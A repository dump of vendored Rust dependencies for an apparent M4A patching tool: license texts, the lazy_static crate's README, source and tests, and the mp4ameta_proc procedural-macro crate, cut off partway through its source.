irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /tools/research/m4a_patcher/vendor/lazy_static/LICENSE-MIT: -------------------------------------------------------------------------------- 1 | Copyright (c) 2010 The Rust Project Developers 2 | 3 | Permission is hereby granted, free of charge, to any 4 | person obtaining a copy of this software and associated 5 | documentation files (the "Software"), to deal in the 6 | Software without restriction, including without 7 | limitation the rights to use, copy, modify, merge, 8 | publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software 10 | is furnished to do so, subject to the following 11 | conditions: 12 | 13 | The above copyright notice and this permission notice 14 | shall be included in all copies or substantial portions 15 | of the Software. 16 | 17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF 18 | ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED 19 | TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A 20 | PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT 21 | SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY 22 | CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 23 | OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR 24 | IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 25 | DEALINGS IN THE SOFTWARE. 26 | -------------------------------------------------------------------------------- /tools/research/m4a_patcher/vendor/lazy_static/README.md: -------------------------------------------------------------------------------- 1 | lazy-static.rs 2 | ============== 3 | 4 | A macro for declaring lazily evaluated statics in Rust. 5 | 6 | Using this macro, it is possible to have `static`s that require code to be 7 | executed at runtime in order to be initialized. 8 | This includes anything requiring heap allocations, like vectors or hash maps, 9 | as well as anything that requires non-const function calls to be computed. 10 | 11 | [![Travis-CI Status](https://travis-ci.com/rust-lang-nursery/lazy-static.rs.svg?branch=master)](https://travis-ci.com/rust-lang-nursery/lazy-static.rs) 12 | [![Latest version](https://img.shields.io/crates/v/lazy_static.svg)](https://crates.io/crates/lazy_static) 13 | [![Documentation](https://docs.rs/lazy_static/badge.svg)](https://docs.rs/lazy_static) 14 | [![License](https://img.shields.io/crates/l/lazy_static.svg)](https://github.com/rust-lang-nursery/lazy-static.rs#license) 15 | 16 | ## Minimum supported `rustc` 17 | 18 | `1.27.2+` 19 | 20 | This version is explicitly tested in CI and may only be bumped in new minor versions. Any changes to the supported minimum version will be called out in the release notes. 21 | 22 | 23 | # Getting Started 24 | 25 | [lazy-static.rs is available on crates.io](https://crates.io/crates/lazy_static). 26 | It is recommended to look there for the newest released version, as well as links to the newest builds of the docs. 27 | 28 | At the point of the last update of this README, the latest published version could be used like this: 29 | 30 | Add the following dependency to your Cargo manifest... 31 | 32 | ```toml 33 | [dependencies] 34 | lazy_static = "1.4.0" 35 | ``` 36 | 37 | ...and see the [docs](https://docs.rs/lazy_static) for how to use it. 38 | 39 | # Example 40 | 41 | ```rust 42 | #[macro_use] 43 | extern crate lazy_static; 44 | 45 | use std::collections::HashMap; 46 | 47 | lazy_static! { 48 | static ref HASHMAP: HashMap = { 49 | let mut m = HashMap::new(); 50 | m.insert(0, "foo"); 51 | m.insert(1, "bar"); 52 | m.insert(2, "baz"); 53 | m 54 | }; 55 | } 56 | 57 | fn main() { 58 | // First access to `HASHMAP` initializes it 59 | println!("The entry for `0` is \"{}\".", HASHMAP.get(&0).unwrap()); 60 | 61 | // Any further access to `HASHMAP` just returns the computed value 62 | println!("The entry for `1` is \"{}\".", HASHMAP.get(&1).unwrap()); 63 | } 64 | ``` 65 | 66 | ## License 67 | 68 | Licensed under either of 69 | 70 | * Apache License, Version 2.0, ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0) 71 | * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) 72 | 73 | at your option. 74 | 75 | ### Contribution 76 | 77 | Unless you explicitly state otherwise, any contribution intentionally submitted 78 | for inclusion in the work by you, as defined in the Apache-2.0 license, shall be dual licensed as above, without any 79 | additional terms or conditions. 80 | -------------------------------------------------------------------------------- /tools/research/m4a_patcher/vendor/lazy_static/src/core_lazy.rs: -------------------------------------------------------------------------------- 1 | // Copyright 2016 lazy-static.rs Developers 2 | // 3 | // Licensed under the Apache License, Version 2.0, or the MIT license , at your option. This file may not be 6 | // copied, modified, or distributed except according to those terms. 7 | 8 | extern crate spin; 9 | 10 | use self::spin::Once; 11 | 12 | pub struct Lazy(Once); 13 | 14 | impl Lazy { 15 | pub const INIT: Self = Lazy(Once::INIT); 16 | 17 | #[inline(always)] 18 | pub fn get(&'static self, builder: F) -> &T 19 | where F: FnOnce() -> T 20 | { 21 | self.0.call_once(builder) 22 | } 23 | } 24 | 25 | #[macro_export] 26 | #[doc(hidden)] 27 | macro_rules! __lazy_static_create { 28 | ($NAME:ident, $T:ty) => { 29 | static $NAME: $crate::lazy::Lazy<$T> = $crate::lazy::Lazy::INIT; 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /tools/research/m4a_patcher/vendor/lazy_static/src/inline_lazy.rs: -------------------------------------------------------------------------------- 1 | // Copyright 2016 lazy-static.rs Developers 2 | // 3 | // Licensed under the Apache License, Version 2.0, or the MIT license , at your option. This file may not be 6 | // copied, modified, or distributed except according to those terms. 7 | 8 | extern crate core; 9 | extern crate std; 10 | 11 | use self::std::prelude::v1::*; 12 | use self::std::cell::Cell; 13 | use self::std::hint::unreachable_unchecked; 14 | use self::std::sync::Once; 15 | #[allow(deprecated)] 16 | pub use self::std::sync::ONCE_INIT; 17 | 18 | // FIXME: Replace Option with MaybeUninit (stable since 1.36.0) 19 | pub struct Lazy(Cell>, Once); 20 | 21 | impl Lazy { 22 | #[allow(deprecated)] 23 | pub const INIT: Self = Lazy(Cell::new(None), ONCE_INIT); 24 | 25 | #[inline(always)] 26 | pub fn get(&'static self, f: F) -> &T 27 | where 28 | F: FnOnce() -> T, 29 | { 30 | self.1.call_once(|| { 31 | self.0.set(Some(f())); 32 | }); 33 | 34 | // `self.0` is guaranteed to be `Some` by this point 35 | // The `Once` will catch and propagate panics 36 | unsafe { 37 | match *self.0.as_ptr() { 38 | Some(ref x) => x, 39 | None => { 40 | debug_assert!(false, "attempted to derefence an uninitialized lazy static. This is a bug"); 41 | 42 | unreachable_unchecked() 43 | }, 44 | } 45 | } 46 | } 47 | } 48 | 49 | unsafe impl Sync for Lazy {} 50 | 51 | #[macro_export] 52 | #[doc(hidden)] 53 | macro_rules! __lazy_static_create { 54 | ($NAME:ident, $T:ty) => { 55 | static $NAME: $crate::lazy::Lazy<$T> = $crate::lazy::Lazy::INIT; 56 | }; 57 | } 58 | -------------------------------------------------------------------------------- /tools/research/m4a_patcher/vendor/lazy_static/src/lib.rs: -------------------------------------------------------------------------------- 1 | // Copyright 2016 lazy-static.rs Developers 2 | // 3 | // Licensed under the Apache License, Version 2.0, or the MIT license , at your option. This file may not be 6 | // copied, modified, or distributed except according to those terms. 7 | 8 | /*! 9 | A macro for declaring lazily evaluated statics. 10 | 11 | Using this macro, it is possible to have `static`s that require code to be 12 | executed at runtime in order to be initialized. 13 | This includes anything requiring heap allocations, like vectors or hash maps, 14 | as well as anything that requires function calls to be computed. 15 | 16 | # Syntax 17 | 18 | ```ignore 19 | lazy_static! { 20 | [pub] static ref NAME_1: TYPE_1 = EXPR_1; 21 | [pub] static ref NAME_2: TYPE_2 = EXPR_2; 22 | ... 23 | [pub] static ref NAME_N: TYPE_N = EXPR_N; 24 | } 25 | ``` 26 | 27 | Attributes (including doc comments) are supported as well: 28 | 29 | ```rust 30 | # #[macro_use] 31 | # extern crate lazy_static; 32 | # fn main() { 33 | lazy_static! { 34 | /// This is an example for using doc comment attributes 35 | static ref EXAMPLE: u8 = 42; 36 | } 37 | # } 38 | ``` 39 | 40 | # Semantics 41 | 42 | For a given `static ref NAME: TYPE = EXPR;`, the macro generates a unique type that 43 | implements `Deref` and stores it in a static with name `NAME`. (Attributes end up 44 | attaching to this type.) 45 | 46 | On first deref, `EXPR` gets evaluated and stored internally, such that all further derefs 47 | can return a reference to the same object. Note that this can lead to deadlocks 48 | if you have multiple lazy statics that depend on each other in their initialization. 49 | 50 | Apart from the lazy initialization, the resulting "static ref" variables 51 | have generally the same properties as regular "static" variables: 52 | 53 | - Any type in them needs to fulfill the `Sync` trait. 54 | - If the type has a destructor, then it will not run when the process exits. 55 | 56 | # Example 57 | 58 | Using the macro: 59 | 60 | ```rust 61 | #[macro_use] 62 | extern crate lazy_static; 63 | 64 | use std::collections::HashMap; 65 | 66 | lazy_static! { 67 | static ref HASHMAP: HashMap = { 68 | let mut m = HashMap::new(); 69 | m.insert(0, "foo"); 70 | m.insert(1, "bar"); 71 | m.insert(2, "baz"); 72 | m 73 | }; 74 | static ref COUNT: usize = HASHMAP.len(); 75 | static ref NUMBER: u32 = times_two(21); 76 | } 77 | 78 | fn times_two(n: u32) -> u32 { n * 2 } 79 | 80 | fn main() { 81 | println!("The map has {} entries.", *COUNT); 82 | println!("The entry for `0` is \"{}\".", HASHMAP.get(&0).unwrap()); 83 | println!("A expensive calculation on a static results in: {}.", *NUMBER); 84 | } 85 | ``` 86 | 87 | # Implementation details 88 | 89 | The `Deref` implementation uses a hidden static variable that is guarded by an atomic check on each access. 90 | 91 | # Cargo features 92 | 93 | This crate provides one cargo feature: 94 | 95 | - `spin_no_std`: This allows using this crate in a no-std environment, by depending on the standalone `spin` crate. 96 | 97 | */ 98 | 99 | #![doc(html_root_url = "https://docs.rs/lazy_static/1.4.0")] 100 | #![no_std] 101 | 102 | #[cfg(not(feature = "spin_no_std"))] 103 | #[path="inline_lazy.rs"] 104 | #[doc(hidden)] 105 | pub mod lazy; 106 | 107 | #[cfg(test)] 108 | #[macro_use] 109 | extern crate doc_comment; 110 | 111 | #[cfg(test)] 112 | doctest!("../README.md"); 113 | 114 | #[cfg(feature = "spin_no_std")] 115 | #[path="core_lazy.rs"] 116 | #[doc(hidden)] 117 | pub mod lazy; 118 | 119 | #[doc(hidden)] 120 | pub use core::ops::Deref as __Deref; 121 | 122 | #[macro_export(local_inner_macros)] 123 | #[doc(hidden)] 124 | macro_rules! __lazy_static_internal { 125 | // optional visibility restrictions are wrapped in `()` to allow for 126 | // explicitly passing otherwise implicit information about private items 127 | ($(#[$attr:meta])* ($($vis:tt)*) static ref $N:ident : $T:ty = $e:expr; $($t:tt)*) => { 128 | __lazy_static_internal!(@MAKE TY, $(#[$attr])*, ($($vis)*), $N); 129 | __lazy_static_internal!(@TAIL, $N : $T = $e); 130 | lazy_static!($($t)*); 131 | }; 132 | (@TAIL, $N:ident : $T:ty = $e:expr) => { 133 | impl $crate::__Deref for $N { 134 | type Target = $T; 135 | fn deref(&self) -> &$T { 136 | #[inline(always)] 137 | fn __static_ref_initialize() -> $T { $e } 138 | 139 | #[inline(always)] 140 | fn __stability() -> &'static $T { 141 | __lazy_static_create!(LAZY, $T); 142 | LAZY.get(__static_ref_initialize) 143 | } 144 | __stability() 145 | } 146 | } 147 | impl $crate::LazyStatic for $N { 148 | fn initialize(lazy: &Self) { 149 | let _ = &**lazy; 150 | } 151 | } 152 | }; 153 | // `vis` is wrapped in `()` to prevent parsing ambiguity 154 | (@MAKE TY, $(#[$attr:meta])*, ($($vis:tt)*), $N:ident) => { 155 | #[allow(missing_copy_implementations)] 156 | #[allow(non_camel_case_types)] 157 | #[allow(dead_code)] 158 | $(#[$attr])* 159 | $($vis)* struct $N {__private_field: ()} 160 | #[doc(hidden)] 161 | $($vis)* static $N: $N = $N {__private_field: ()}; 162 | }; 163 | () => () 164 | } 165 | 166 | #[macro_export(local_inner_macros)] 167 | macro_rules! lazy_static { 168 | ($(#[$attr:meta])* static ref $N:ident : $T:ty = $e:expr; $($t:tt)*) => { 169 | // use `()` to explicitly forward the information about private items 170 | __lazy_static_internal!($(#[$attr])* () static ref $N : $T = $e; $($t)*); 171 | }; 172 | ($(#[$attr:meta])* pub static ref $N:ident : $T:ty = $e:expr; $($t:tt)*) => { 173 | __lazy_static_internal!($(#[$attr])* (pub) static ref $N : $T = $e; $($t)*); 174 | }; 175 | ($(#[$attr:meta])* pub ($($vis:tt)+) static ref $N:ident : $T:ty = $e:expr; $($t:tt)*) => { 176 | __lazy_static_internal!($(#[$attr])* (pub ($($vis)+)) static ref $N : $T = $e; $($t)*); 177 | }; 178 | () => () 179 | } 180 | 181 | /// Support trait for enabling a few common operation on lazy static values. 182 | /// 183 | /// This is implemented by each defined lazy static, and 184 | /// used by the free functions in this crate. 185 | pub trait LazyStatic { 186 | #[doc(hidden)] 187 | fn initialize(lazy: &Self); 188 | } 189 | 190 | /// Takes a shared reference to a lazy static and initializes 191 | /// it if it has not been already. 192 | /// 193 | /// This can be used to control the initialization point of a lazy static. 194 | /// 195 | /// Example: 196 | /// 197 | /// ```rust 198 | /// #[macro_use] 199 | /// extern crate lazy_static; 200 | /// 201 | /// lazy_static! { 202 | /// static ref BUFFER: Vec = (0..255).collect(); 203 | /// } 204 | /// 205 | /// fn main() { 206 | /// lazy_static::initialize(&BUFFER); 207 | /// 208 | /// // ... 209 | /// work_with_initialized_data(&BUFFER); 210 | /// } 211 | /// # fn work_with_initialized_data(_: &[u8]) {} 212 | /// ``` 213 | pub fn initialize(lazy: &T) { 214 | LazyStatic::initialize(lazy); 215 | } 216 | -------------------------------------------------------------------------------- /tools/research/m4a_patcher/vendor/lazy_static/tests/no_std.rs: -------------------------------------------------------------------------------- 1 | #![cfg(feature="spin_no_std")] 2 | 3 | #![no_std] 4 | 5 | #[macro_use] 6 | extern crate lazy_static; 7 | 8 | lazy_static! { 9 | /// Documentation! 10 | pub static ref NUMBER: u32 = times_two(3); 11 | } 12 | 13 | fn times_two(n: u32) -> u32 { 14 | n * 2 15 | } 16 | 17 | #[test] 18 | fn test_basic() { 19 | assert_eq!(*NUMBER, 6); 20 | } 21 | -------------------------------------------------------------------------------- /tools/research/m4a_patcher/vendor/lazy_static/tests/test.rs: -------------------------------------------------------------------------------- 1 | #[macro_use] 2 | extern crate lazy_static; 3 | use std::collections::HashMap; 4 | 5 | lazy_static! { 6 | /// Documentation! 7 | pub static ref NUMBER: u32 = times_two(3); 8 | 9 | static ref ARRAY_BOXES: [Box; 3] = [Box::new(1), Box::new(2), Box::new(3)]; 10 | 11 | /// More documentation! 12 | #[allow(unused_variables)] 13 | #[derive(Copy, Clone, Debug)] 14 | pub static ref STRING: String = "hello".to_string(); 15 | 16 | static ref HASHMAP: HashMap = { 17 | let mut m = HashMap::new(); 18 | m.insert(0, "abc"); 19 | m.insert(1, "def"); 20 | m.insert(2, "ghi"); 21 | m 22 | }; 23 | 24 | // This should not compile if the unsafe is removed. 25 | static ref UNSAFE: u32 = unsafe { 26 | std::mem::transmute::(-1) 27 | }; 28 | } 29 | 30 | lazy_static! { 31 | static ref S1: &'static str = "a"; 32 | static ref S2: &'static str = "b"; 33 | } 34 | lazy_static! { 35 | static ref S3: String = [*S1, *S2].join(""); 36 | } 37 | 38 | #[test] 39 | fn s3() { 40 | assert_eq!(&*S3, "ab"); 41 | } 42 | 43 | fn times_two(n: u32) -> u32 { 44 | n * 2 45 | } 46 | 47 | #[test] 48 | fn test_basic() { 49 | assert_eq!(&**STRING, "hello"); 50 | assert_eq!(*NUMBER, 6); 51 | assert!(HASHMAP.get(&1).is_some()); 52 | assert!(HASHMAP.get(&3).is_none()); 53 | assert_eq!(&*ARRAY_BOXES, &[Box::new(1), Box::new(2), Box::new(3)]); 54 | assert_eq!(*UNSAFE, std::u32::MAX); 55 | } 56 | 57 | #[test] 58 | fn test_repeat() { 59 | assert_eq!(*NUMBER, 6); 60 | assert_eq!(*NUMBER, 6); 61 | assert_eq!(*NUMBER, 6); 62 | } 63 | 64 | #[test] 65 | fn test_meta() { 66 | // this would not compile if STRING were not marked #[derive(Copy, Clone)] 67 | let copy_of_string = STRING; 68 | // just to make sure it was copied 69 | assert!(&STRING as *const _ != ©_of_string as *const _); 70 | 71 | // this would not compile if STRING were not marked #[derive(Debug)] 72 | assert_eq!(format!("{:?}", STRING), "STRING { __private_field: () }".to_string()); 73 | } 74 | 75 | mod visibility { 76 | lazy_static! { 77 | pub static ref FOO: Box = Box::new(0); 78 | static ref BAR: Box = Box::new(98); 79 | } 80 | 81 | pub mod inner { 82 | lazy_static! { 83 | pub(in visibility) static ref BAZ: Box = Box::new(42); 84 | pub(crate) static ref BAG: Box = Box::new(37); 85 | } 86 | } 87 | 88 | #[test] 89 | fn sub_test() { 90 | assert_eq!(**FOO, 0); 91 | assert_eq!(**BAR, 98); 92 | assert_eq!(**inner::BAZ, 42); 93 | assert_eq!(**inner::BAG, 37); 94 | } 95 | } 96 | 97 | #[test] 98 | fn test_visibility() { 99 | assert_eq!(*visibility::FOO, Box::new(0)); 100 | assert_eq!(*visibility::inner::BAG, Box::new(37)); 101 | } 102 | 103 | // This should not cause a warning about a missing Copy implementation 104 | lazy_static! { 105 | pub static ref VAR: i32 = { 0 }; 106 | } 107 | 108 | #[derive(Copy, Clone, Debug, PartialEq)] 109 | struct X; 110 | struct Once(X); 111 | const ONCE_INIT: Once = Once(X); 112 | static DATA: X = X; 113 | static ONCE: X = X; 114 | fn require_sync() -> X { X } 115 | fn transmute() -> X { X } 116 | fn __static_ref_initialize() -> X { X } 117 | fn test(_: Vec) -> X { X } 118 | 119 | // All these names should not be shadowed 120 | lazy_static! { 121 | static ref ITEM_NAME_TEST: X = { 122 | test(vec![X, Once(X).0, ONCE_INIT.0, DATA, ONCE, 123 | require_sync(), transmute(), 124 | // Except this, which will sadly be shadowed by internals: 125 | // __static_ref_initialize() 126 | ]) 127 | }; 128 | } 129 | 130 | #[test] 131 | fn item_name_shadowing() { 132 | assert_eq!(*ITEM_NAME_TEST, X); 133 | } 134 | 135 | use std::sync::atomic::AtomicBool; 136 | #[allow(deprecated)] 137 | use std::sync::atomic::ATOMIC_BOOL_INIT; 138 | use std::sync::atomic::Ordering::SeqCst; 139 | 140 | #[allow(deprecated)] 141 | static PRE_INIT_FLAG: AtomicBool = ATOMIC_BOOL_INIT; 142 | 143 | lazy_static! { 144 | static ref PRE_INIT: () = { 145 | PRE_INIT_FLAG.store(true, SeqCst); 146 | () 147 | }; 148 | } 149 | 150 | #[test] 151 | fn pre_init() { 152 | assert_eq!(PRE_INIT_FLAG.load(SeqCst), false); 153 | lazy_static::initialize(&PRE_INIT); 154 | assert_eq!(PRE_INIT_FLAG.load(SeqCst), true); 155 | } 156 | 157 | lazy_static! { 158 | static ref LIFETIME_NAME: for<'a> fn(&'a u8) = { fn f(_: &u8) {} f }; 159 | } 160 | 161 | #[test] 162 | fn lifetime_name() { 163 | let _ = LIFETIME_NAME; 164 | } 165 | -------------------------------------------------------------------------------- /tools/research/m4a_patcher/vendor/mp4ameta_proc/.cargo-checksum.json: -------------------------------------------------------------------------------- 1 | {"files":{"Cargo.toml":"6f823a48da65f8e246768a5ee3d209dd18c694433f32a23a26102a0fdf6c6b27","src/lib.rs":"1c0eb54abd77060bf4b28ec73c1994ed826f307cec804c5f9c314cba0fb61032"},"package":"07dcca13d1740c0a665f77104803360da0bdb3323ecce2e93fa2c959a6d52806"} -------------------------------------------------------------------------------- /tools/research/m4a_patcher/vendor/mp4ameta_proc/Cargo.toml: -------------------------------------------------------------------------------- 1 | # THIS FILE IS AUTOMATICALLY GENERATED BY CARGO 2 | # 3 | # When uploading crates to the registry Cargo will automatically 4 | # "normalize" Cargo.toml files for maximal compatibility 5 | # with all versions of Cargo and also rewrite `path` dependencies 6 | # to registry (e.g., crates.io) dependencies 7 | # 8 | # If you believe there's an error in this file please file an 9 | # issue against the rust-lang/cargo repository. If you're 10 | # editing this file be aware that the upstream Cargo.toml 11 | # will likely look very different (and much more reasonable) 12 | 13 | [package] 14 | edition = "2018" 15 | name = "mp4ameta_proc" 16 | version = "0.6.0" 17 | authors = ["Saecki "] 18 | description = "Procedural macros to generate common accessors for the mp4ameta crate." 19 | license = "MIT OR Apache-2.0" 20 | repository = "https://github.com/Saecki/rust-mp4ameta" 21 | 22 | [lib] 23 | proc-macro = true 24 | -------------------------------------------------------------------------------- /tools/research/m4a_patcher/vendor/mp4ameta_proc/src/lib.rs: -------------------------------------------------------------------------------- 1 | use proc_macro::TokenStream; 2 | 3 | fn base_values(input: TokenStream) -> (String, String, String, String, String) { 4 | let input_string = input.to_string(); 5 | let mut strings = input_string.split(','); 6 | 7 | let value_ident = strings 8 | .next() 9 | .expect("Missing first positional argument: value identifier") 10 | .trim() 11 | .replace("\"", ""); 12 | if value_ident.is_empty() { 13 | panic!("Found empty value identifier."); 14 | } 15 | 16 | let name = value_ident.replace('_', " "); 17 | 18 | let mut name_chars = name.chars(); 19 | let headline = name_chars.next().unwrap().to_uppercase().chain(name_chars).collect::(); 20 | 21 | let atom_ident = format!("ident::{}", value_ident.to_uppercase()); 22 | 23 | let atom_ident_string = strings 24 | .next() 25 | .expect("Missing second positional argument: atom ident string") 26 | .trim() 27 | .replace("\"", ""); 28 | if atom_ident_string.is_empty() { 29 | panic!("Found empty atom identifier string."); 30 | } 31 | 32 | if let Some(arg) = strings.next().map(|s| s.trim()) { 33 | if !arg.is_empty() { 34 | panic!("Found unexpected third positional argument: {}.", arg); 35 | } 36 | } 37 | 38 | (value_ident, name, headline, atom_ident, atom_ident_string) 39 | } 40 | 41 | #[proc_macro] 42 | pub fn single_string_value_accessor(input: TokenStream) -> TokenStream { 43 | let (value_ident, name, headline, atom_ident, atom_ident_string) = base_values(input); 44 | 45 | format!( 46 | " 47 | /// ### {hl} 48 | impl Tag {{ 49 | /// Returns the {n} (`{ais}`). 50 | pub fn {vi}(&self) -> Option<&str> {{ 51 | self.strings_of(&{ai}).next() 52 | }} 53 | 54 | /// Removes and returns the {n} (`{ais}`). 55 | pub fn take_{vi}(&mut self) -> Option {{ 56 | self.take_strings_of(&{ai}).next() 57 | }} 58 | 59 | /// Sets the {n} (`{ais}`). 60 | pub fn set_{vi}(&mut self, {vi}: impl Into) {{ 61 | self.set_data({ai}, Data::Utf8({vi}.into())); 62 | }} 63 | 64 | /// Removes the {n} (`{ais}`). 65 | pub fn remove_{vi}(&mut self) {{ 66 | self.remove_data_of(&{ai}); 67 | }} 68 | 69 | /// Returns the {n} formatted in an easily readable way. 70 | fn format_{vi}(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result {{ 71 | match self.{vi}() {{ 72 | Some(s) => writeln!(f, \"{n}: {{}}\", s), 73 | None => Ok(()), 74 | }} 75 | }} 76 | }} 77 | ", 78 | hl = headline, 79 | n = name, 80 | ais = atom_ident_string, 81 | vi = value_ident, 82 | ai = atom_ident, 83 | ) 84 | .parse() 85 | .expect("Error parsing accessor impl block:") 86 | } 87 | 88 | #[proc_macro] 89 | pub fn multiple_string_values_accessor(input: TokenStream) -> TokenStream { 90 | let (value_ident, name, headline, atom_ident, atom_ident_string) = base_values(input); 91 | 92 | let mut value_ident_plural = value_ident.clone(); 93 | if value_ident_plural.ends_with('y') { 94 | value_ident_plural.pop(); 95 | value_ident_plural.push_str("ies"); 96 | } else { 97 | value_ident_plural.push('s'); 98 | }; 99 | 100 | let name_plural = value_ident_plural.replace('_', " "); 101 | 102 | format!( 103 | " 104 | /// ### {hl} 105 | impl Tag {{ 106 | /// Returns all {np} (`{ais}`). 107 | pub fn {vip}(&self) -> impl Iterator {{ 108 | self.strings_of(&{ai}) 109 | }} 110 | 111 | /// Returns the first {n} (`{ais}`). 112 | pub fn {vi}(&self) -> Option<&str> {{ 113 | self.strings_of(&{ai}).next() 114 | }} 115 | 116 | /// Removes and returns all {np} (`{ais}`). 117 | pub fn take_{vip}(&mut self) -> impl Iterator + '_ {{ 118 | self.take_strings_of(&{ai}) 119 | }} 120 | 121 | /// Removes all and returns the first {n} (`{ais}`). 122 | pub fn take_{vi}(&mut self) -> Option {{ 123 | self.take_strings_of(&{ai}).next() 124 | }} 125 | 126 | /// Sets all {np} (`{ais}`). This will remove all other {np}. 127 | pub fn set_{vip}(&mut self, {vip}: impl IntoIterator) {{ 128 | let data = {vip}.into_iter().map(|v| Data::Utf8(v)); 129 | self.set_all_data({ai}, data); 130 | }} 131 | 132 | /// Sets the {n} (`{ais}`). This will remove all other {np}. 133 | pub fn set_{vi}(&mut self, {vi}: impl Into) {{ 134 | self.set_data({ai}, Data::Utf8({vi}.into())); 135 | }} 136 | 137 | /// Adds all {np} (`{ais}`). 138 | pub fn add_{vip}(&mut self, {vip}: impl IntoIterator) {{ 139 | let data = {vip}.into_iter().map(|v| Data::Utf8(v)); 140 | self.add_all_data({ai}, data); 141 | }} 142 | 143 | /// Adds an {n} (`{ais}`). 144 | pub fn add_{vi}(&mut self, {vi}: impl Into) {{ 145 | self.add_data({ai}, 